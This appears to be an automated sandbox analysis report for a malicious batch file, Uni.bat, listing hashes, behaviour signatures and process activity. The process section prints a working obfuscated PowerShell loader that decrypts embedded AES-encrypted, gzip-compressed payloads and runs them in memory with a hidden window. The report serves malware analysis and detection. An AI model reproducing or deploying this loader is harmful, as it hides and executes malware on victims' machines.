Analysis
-
max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
13/10/2023, 02:41
Static task
static1
Behavioral task
behavioral1
Sample
Uni.bat
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
Uni.bat
Resource
win10v2004-20230915-en
General
-
Target
Uni.bat
-
Size
14.6MB
-
MD5
5e162353f6d4f0d3316785c49590cf47
-
SHA1
a14a7c2639715020df5a2d84ad21236be8674cb5
-
SHA256
c5162d43e1479ede6cff08c3aeadb08187475e85315128cdac2d32ffe681c813
-
SHA512
323f840bf950b4f7a7feec7cd73979018ac2cdf2554e7855a22aca9ef1471eec282d6b56c66136228c8969ee3d0ea195abd587efb3b2746fd35adba1bd0bd5c0
-
SSDEEP
49152:9aok+ydtT1GNd9t6Qeuu+ZgswnNebCyy14BWxpW25Evp/flH1v4r0KKj5dci0RGs:a
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
pid Process 1136 Uni.bat.exe -
Loads dropped DLL 1 IoCs
pid Process 2988 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1136 Uni.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1136 Uni.bat.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2988 wrote to memory of 1136 2988 cmd.exe 29 PID 2988 wrote to memory of 1136 2988 cmd.exe 29 PID 2988 wrote to memory of 1136 2988 cmd.exe 29
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function WuBcS($EFabz){ $bRzHB=[System.Security.Cryptography.Aes]::Create(); $bRzHB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $bRzHB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $bRzHB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AVCsDfD9ktxxy7ap9R1lOS4/eLdwd4Kk6x4IJe7TpyY='); $bRzHB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cRWQ+MYrSp19UY3Rby7uBA=='); $IDZdQ=$bRzHB.CreateDecryptor(); $return_var=$IDZdQ.TransformFinalBlock($EFabz, 0, $EFabz.Length); $IDZdQ.Dispose(); $bRzHB.Dispose(); $return_var;}function cNbkK($EFabz){ $KexDo=New-Object System.IO.MemoryStream(,$EFabz); $TmKio=New-Object System.IO.MemoryStream; $eYdxw=New-Object System.IO.Compression.GZipStream($KexDo, [IO.Compression.CompressionMode]::Decompress); $eYdxw.CopyTo($TmKio); $eYdxw.Dispose(); $KexDo.Dispose(); $TmKio.Dispose(); $TmKio.ToArray();}function JmoQC($EFabz,$CWcpU){ $RZrLm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$EFabz); $nyWoi=$RZrLm.EntryPoint; $nyWoi.Invoke($null, $CWcpU);}$veHDh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($PmkNr in $veHDh) { if ($PmkNr.StartsWith('SEROXEN')) { $fVggE=$PmkNr.Substring(7); break; }}$lhiuJ=[string[]]$fVggE.Split('\');$omIJM=cNbkK (WuBcS ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lhiuJ[0])));$iWNDL=cNbkK (WuBcS ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lhiuJ[1])));JmoQC $iWNDL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));JmoQC $omIJM (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1136
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d